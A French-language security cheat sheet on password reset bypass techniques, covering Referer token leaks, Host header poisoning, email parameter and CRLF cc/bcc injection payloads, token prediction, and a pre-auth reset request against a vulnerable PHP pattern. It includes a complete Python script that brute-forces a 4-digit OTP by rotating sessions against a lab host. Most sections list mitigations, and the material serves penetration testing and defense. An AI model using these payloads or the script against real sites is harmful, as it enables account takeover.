Reset/Forgotten Password Bypass

Reading time: 11 minutes

Password Reset Token Leak Via Referrer

• L'en-tête HTTP referer peut leak le password reset token s'il est inclus dans l'URL. Cela peut se produire lorsqu'un utilisateur clique sur un lien d'un site tiers après avoir demandé une réinitialisation de mot de passe.
• Impact : Prise de contrôle potentielle de compte via des attaques Cross-Site Request Forgery (CSRF).
• Exploitation : Pour vérifier si un password reset token leak dans le referer header, demandez une réinitialisation de mot de passe vers votre adresse email et cliquez sur le lien de réinitialisation fourni. Ne changez pas votre mot de passe immédiatement. Au lieu de cela, naviguez vers un site tiers (comme Facebook ou Twitter) tout en interceptant les requêtes avec Burp Suite. Inspectez les requêtes pour voir si le referer header contient le password reset token, car cela pourrait exposer des informations sensibles à des tiers.
• Références :
• HackerOne Report 342693
• HackerOne Report 272379
• Password Reset Token Leak Article

Password Reset Poisoning

• Les attaquants peuvent manipuler le Host header pendant les requêtes de password reset pour pointer le reset link vers un site malveillant.
• Impact : Peut conduire à une prise de contrôle de compte potentielle via le leak des reset tokens vers les attaquants.
• Mesures d'atténuation :
• Valider le Host header contre une whitelist de domaines autorisés.
• Utiliser des méthodes serveur sécurisées pour générer des URLs absolues.
• Patch : Utiliser $_SERVER['SERVER_NAME'] pour construire les password reset URLs au lieu de $_SERVER['HTTP_HOST'].
• Références :
• Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Les attaquants peuvent manipuler la requête de password reset en ajoutant des paramètres email supplémentaires pour détourner le lien de réinitialisation.

• Ajouter l'email de l'attaquant comme second paramètre en utilisant &

POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com

• Ajoutez l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant %20

POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com

Ajoutez l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant |

POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com

Ajouter l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant cc

POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"

• Ajouter l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant bcc

POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"

• Ajouter l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant ,

POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"

• Ajouter l'email de l'attaquant comme deuxième paramètre dans le tableau json

POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

• Mesures d'atténuation:
• Analyser et valider correctement les paramètres d'adresse e-mail côté serveur.
• Utiliser des prepared statements ou des requêtes paramétrées pour prévenir les attaques par injection.
• Références:
• https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
• https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
• https://twitter.com/HusseiN98D/status/1254888748216655872

Modification de l'email et du mot de passe de n'importe quel utilisateur via les paramètres API

• Les attaquants peuvent modifier les paramètres d'adresse e-mail et de mot de passe dans les requêtes API pour changer les identifiants du compte.

POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

• Étapes d'atténuation:
• Assurer une validation stricte des paramètres et des vérifications d'authentification.
• Mettre en place des logs et une surveillance robustes pour détecter et répondre aux activités suspectes.
• Référence:
• Full Account Takeover via API Parameter Manipulation

Absence de limitation de débit : Email Bombing

• L'absence de limitation de débit sur les requêtes de réinitialisation de mot de passe peut conduire à de l'Email Bombing, submergeant l'utilisateur par des e-mails de réinitialisation.
• Étapes d'atténuation:
• Implémenter une limitation de débit basée sur l'adresse IP ou le compte utilisateur.
• Utiliser des défis CAPTCHA pour empêcher l'abus automatisé.
• Références:
• HackerOne Report 280534

Découvrir comment le Password Reset Token est généré

• Comprendre le schéma ou la méthode derrière la génération du token peut permettre de prédire ou de brute-forcer les tokens. Quelques options :
• Basé sur l'horodatage
• Basé sur l'ID utilisateur
• Basé sur l'email de l'utilisateur
• Basé sur le prénom et le nom
• Basé sur la date de naissance
• Basé sur la cryptographie
• Étapes d'atténuation:
• Utiliser des méthodes cryptographiques solides pour la génération des tokens.
• Assurer une entropie et une longueur suffisantes pour éviter toute prévisibilité.
• Outils: Utiliser Burp Sequencer pour analyser l'aléa des tokens.

UUID prévisible

• Si les UUID (version 1) sont devinables ou prévisibles, les attaquants peuvent les brute-forcer pour générer des reset tokens valides. Vérifier :

UUID Insecurities

• Étapes d'atténuation:
• Utiliser la GUID version 4 pour l'aléa ou implémenter des mesures de sécurité additionnelles pour les autres versions.
• Outils: Utiliser guidtool pour analyser et générer des GUIDs.

Manipulation de la réponse : Replace Bad Response With Good One

• Manipulation des réponses HTTP pour contourner les messages d'erreur ou les restrictions.
• Étapes d'atténuation:
• Implémenter des vérifications côté serveur pour garantir l'intégrité des réponses.
• Utiliser des canaux de communication sécurisés comme HTTPS pour prévenir les attaques man-in-the-middle.
• Référence:
• Critical Bug in Live Bug Bounty Event

Utilisation d'un token expiré

• Tester si des tokens expirés peuvent encore être utilisés pour la réinitialisation de mot de passe.
• Étapes d'atténuation:
• Mettre en place des politiques strictes d'expiration des tokens et valider l'expiration côté serveur.

Brute-force du token de réinitialisation

• Tentative de brute-force du token de reset en utilisant des outils comme Burpsuite et IP-Rotator pour contourner les limitations basées sur l'IP.
• Étapes d'atténuation:
• Implémenter une limitation de débit robuste et des mécanismes de verrouillage de compte.
• Surveiller les activités suspectes indicatrices d'attaques par brute-force.

Essayer d'utiliser votre token

• Tester si le token de reset d'un attaquant peut être utilisé conjointement avec l'email de la victime.
• Étapes d'atténuation:
• S'assurer que les tokens sont liés à la session utilisateur ou à d'autres attributs spécifiques à l'utilisateur.

Invalidation de session lors de la déconnexion/réinitialisation de mot de passe

• S'assurer que les sessions sont invalidées lorsqu'un utilisateur se déconnecte ou réinitialise son mot de passe.
• Étapes d'atténuation:
• Mettre en place une gestion de session correcte, en veillant à ce que toutes les sessions soient invalidées lors de la déconnexion ou de la réinitialisation du mot de passe.

Invalidation de session lors de la déconnexion/réinitialisation de mot de passe

• Les reset tokens doivent avoir une durée d'expiration après laquelle ils deviennent invalides.
• Étapes d'atténuation:
• Définir un délai d'expiration raisonnable pour les reset tokens et l'appliquer strictement côté serveur.

Bypass de la limitation OTP en changeant votre session

• Si le site utilise la session utilisateur pour suivre les tentatives de mauvais OTP et que l'OTP est faible (<= 4 chiffres), on peut effectivement brute-forcer l'OTP.
• exploitation:
• il suffit de demander un nouveau token de session après avoir été bloqué par le serveur.
• Example code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):

# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

Certaines implémentations exposent une action de changement de mot de passe qui appelle la routine de changement de mot de passe avec skipOldPwdCheck=true et ne vérifie aucun reset token ni la propriété du compte. Si l'endpoint accepte un paramètre action comme change_password et un username/nouveau mot de passe dans le corps de la requête, un attaquant peut réinitialiser arbitrairement des comptes en pré-auth.

Schéma vulnérable (PHP):

// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Requête d'exploitation (concept):

POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Mesures d'atténuation:

• Exiger toujours un reset token valide et limité dans le temps, lié au compte et à la session, avant de modifier le mot de passe.
• Ne jamais exposer les chemins skipOldPwdCheck aux utilisateurs non authentifiés ; appliquer l'authentification pour les changements de mot de passe ordinaires et vérifier l'ancien mot de passe.
• Invalider toutes les sessions actives et les reset tokens après un changement de mot de passe.

Références

• https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/